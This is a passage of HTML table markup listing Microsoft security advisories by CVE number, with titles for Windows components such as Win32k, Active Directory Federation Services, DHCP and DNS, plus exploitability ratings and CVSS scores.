Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50474">CVE-2026-50474</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58594">CVE-2026-58594</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56190">CVE-2026-56190</a></td><td><p>Remote Desktop Protocol Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49783">CVE-2026-49783</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42990">CVE-2026-42990</a></td><td><p>SQL Server ODBC driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49168">CVE-2026-49168</a></td><td><p>Storage Spaces Direct Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49180">CVE-2026-49180</a></td><td><p>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50455">CVE-2026-50455</a></td><td><p>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54111">CVE-2026-54111</a></td><td><p>Universal Print Management Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58543">CVE-2026-58543</a></td><td><p>Universal Print Management Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58601">CVE-2026-58601</a></td><td><p>Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49805">CVE-2026-49805</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50297">CVE-2026-50297</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50325">CVE-2026-50325</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50489">CVE-2026-50489</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57095">CVE-2026-57095</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50416">CVE-2026-50416</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56184">CVE-2026-56184</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50432"><br>CVE-2026-50432</a></td><td><p>Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54119">CVE-2026-54119</a></td><td><p>Windows Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57976">CVE-2026-57976</a></td><td><p>Windows Active Directory Domain Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50366">CVE-2026-50366</a></td><td><p>Windows Active Directory Domain Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49164">CVE-2026-49164</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49178">CVE-2026-49178</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58529">CVE-2026-58529</a></td><td><p>Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54983">CVE-2026-54983</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50695">CVE-2026-50695</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50304">CVE-2026-50304</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50368">CVE-2026-50368</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50324">CVE-2026-50324</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50355">CVE-2026-50355</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50411">CVE-2026-50411</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58631">CVE-2026-58631</a></td><td><p>Windows Admin Center (WAC) Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56196">CVE-2026-56196</a></td><td><p>Windows Admin Center (WAC) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56197">CVE-2026-56197</a></td><td><p>Windows Admin Center (WAC) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56169">CVE-2026-56169</a></td><td><p>Windows Admin Center Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57107">CVE-2026-57107</a></td><td><p>Windows Admin Center Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56185">CVE-2026-56185</a></td><td><p>Windows Admin Center Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50312">CVE-2026-50312</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50462">CVE-2026-50462</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57093">CVE-2026-57093</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34346">CVE-2026-34346</a></td><td><p>Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48572">CVE-2026-48572</a></td><td><p>Windows App Package Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48571">CVE-2026-48571</a></td><td><p>Windows App Package Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50400">CVE-2026-50400</a></td><td><p>Windows App Package Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50331">CVE-2026-50331</a></td><td><p>Windows Application Model Core API Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49803">CVE-2026-49803</a></td><td><p>Windows AppX Deployment Extensions Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50351">CVE-2026-50351</a></td><td><p>Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50440">CVE-2026-50440</a></td><td><p>Windows Audio Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34328">CVE-2026-34328</a></td><td><p>Windows Audio Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50406">CVE-2026-50406</a></td><td><p>Windows Backup Engine Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50364">CVE-2026-50364</a></td><td><p>Windows Backup Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50661">CVE-2026-50661</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>Yes</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42975">CVE-2026-42975</a></td><td><p>Windows Bluetooth Port Driver Remote Code Execution</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58538">CVE-2026-58538</a></td><td><p>Windows Bluetooth Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58638">CVE-2026-58638</a></td><td><p>Windows Boot Loader Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58637">CVE-2026-58637</a></td><td><p>Windows Client-Side Caching Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50384">CVE-2026-50384</a></td><td><p>Windows Clip Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49183">CVE-2026-49183</a></td><td><p>Windows Clipboard Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50689">CVE-2026-50689</a></td><td><p>Windows Clipboard Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50374">CVE-2026-50374</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58536">CVE-2026-58536</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58613">CVE-2026-58613</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50401">CVE-2026-50401</a></td><td><p>Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50697">CVE-2026-50697</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50667">CVE-2026-50667</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50421">CVE-2026-50421</a></td><td><p>Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50428">CVE-2026-50428</a></td><td><p>Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50352">CVE-2026-50352</a></td><td><p>Windows Cryptographic Services Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50302">CVE-2026-50302</a></td><td><p>Windows Cryptographic Services Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55144">CVE-2026-55144</a></td><td><p>Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50347">CVE-2026-50347</a></td><td><p>Windows Data.dll Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49181">CVE-2026-49181</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50683">CVE-2026-50683</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54128">CVE-2026-54128</a></td><td><p>Windows DHCP Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58627">CVE-2026-58627</a></td><td><p>Windows DHCP Server Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50518">CVE-2026-50518</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50685">CVE-2026-50685</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49807">CVE-2026-49807</a></td><td><p>Windows DirectX Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49175">CVE-2026-49175</a></td><td><p>Windows DNS Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50487">CVE-2026-50487</a></td><td><p>Windows DNS Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50465">CVE-2026-50465</a></td><td><p>Windows DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49169">CVE-2026-49169</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50426">CVE-2026-50426</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50424">CVE-2026-50424</a></td><td><p>Windows Domain Controller Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50300">CVE-2026-50300</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50437">CVE-2026-50437</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34348">CVE-2026-34348</a></td><td><p>Windows Event Logging Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50502">CVE-2026-50502</a></td><td><p>Windows Event Logging Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33842">CVE-2026-33842</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40422">CVE-2026-40422</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41087">CVE-2026-41087</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50473">CVE-2026-50473</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50442">CVE-2026-50442</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50389">CVE-2026-50389</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50456">CVE-2026-50456</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57084">CVE-2026-57084</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57091">CVE-2026-57091</a></td><td><p>Windows File History Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50405">CVE-2026-50405</a></td><td><p>Windows Filtering Platform Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49172">CVE-2026-49172</a></td><td><p>Windows FTP Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50387">CVE-2026-50387</a></td><td><p>Windows GDI Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54122">CVE-2026-54122</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49796">CVE-2026-49796</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50380">CVE-2026-50380</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50483">CVE-2026-50483</a></td><td><p>Windows Graphics Component Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58609">CVE-2026-58609</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50391">CVE-2026-50391</a></td><td><p>Windows Group Policy Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50310">CVE-2026-50310</a></td><td><p>Windows Human Interface Device Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50485">CVE-2026-50485</a></td><td><p>Windows Hyper-V Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54129">CVE-2026-54129</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a 